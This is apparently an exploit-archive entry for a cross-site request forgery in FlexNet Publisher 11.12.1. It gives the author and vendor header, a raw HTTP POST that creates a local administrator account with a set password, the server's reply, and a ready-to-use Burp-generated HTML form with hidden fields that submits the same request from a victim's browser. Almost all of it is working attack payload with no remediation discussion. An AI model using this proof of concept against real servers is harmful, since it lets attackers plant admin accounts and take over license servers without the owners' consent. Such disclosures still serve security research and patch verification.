FlexNet Publisher 11.12.1 – Cross-Site Request Forgery (Add Local Admin)
# Exploit Title: FlexNet Publisher 11.12.1 - Cross-Site Request Forgery (Add Local Admin) # Date: 2019-12-29 # Exploit Author: Ismail Tasdelen # Vendor Homepage: https://www.flexerasoftware.com/ # Software : FlexNet Publisher # Product Version: v11.12.1 # Product : https://www.flexerasoftware.com/monetize/products/flexnet-licensing.html # Product Version : https://helpnet.flexerasoftware.com/eol/flexnet-publisher.htm # Vulernability Type : Cross-Site Request Forgery (Add Local Admin) # Vulenrability : Cross-Site Request Forgery # Reference : https://community.flexera.com/t5/FlexNet-Publisher-Knowledge-Base/CVE-2019-8962-remediated-in-FlexNet-Publisher/ta-p/131062 # CVE : N/A HTTP Request : POST /users HTTP/1.1 Host: SERVER:8888 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://SERVER:8888/users?event=create&licenseTab= Content-Type: application/x-www-form-urlencoded Content-Length: 197 Connection: close Cookie: Webstation-Locale=en-US; sess_lmgrd=32CFC53815147D5362ACAAF100000001; GUEST=1; UID=GUEST; FL=1; FA=1; DM=; user_type_lmgrd=0 Upgrade-Insecure-Requests: 1 licenseTab=&selected=&userType=local-admin&userName=ISMAILTASDELEN&firstName=Ismail&lastName=Tasdelen&password2=Test12345&confirm=Test12345&accountType=admin&checksum=1d00c20815e84c31&Create=Create HTTP Response : HTTP/1.1 200 OK Date: Sun, 29 Dec 2019 08:38:14 GMT Server: Apache X-Frame-Options: SAMEORIGIN Cache-Control: no-cache, no-store Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 14434 CSRF HTML PoC : <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://SERVER:8888/users" method="POST"> <input type="hidden" name="licenseTab" value="" /> <input type="hidden" name="selected" value="" /> <input type="hidden" name="userType" value="local-admin" /> <input type="hidden" name="userName" value="ISMAILTASDELEN" /> <input type="hidden" name="firstName" value="Ismail" /> <input type="hidden" name="lastName" value="Tasdelen" /> <input type="hidden" name="password2" value="Test12345" /> <input type="hidden" name="confirm" value="Test12345" /> <input type="hidden" name="accountType" value="admin" /> <input type="hidden" name="checksum" value="1d00c20815e84c31" /> <input type="hidden" name="Create" value="Create" /> <input type="submit" value="Submit request" /> </form> </body> </html> |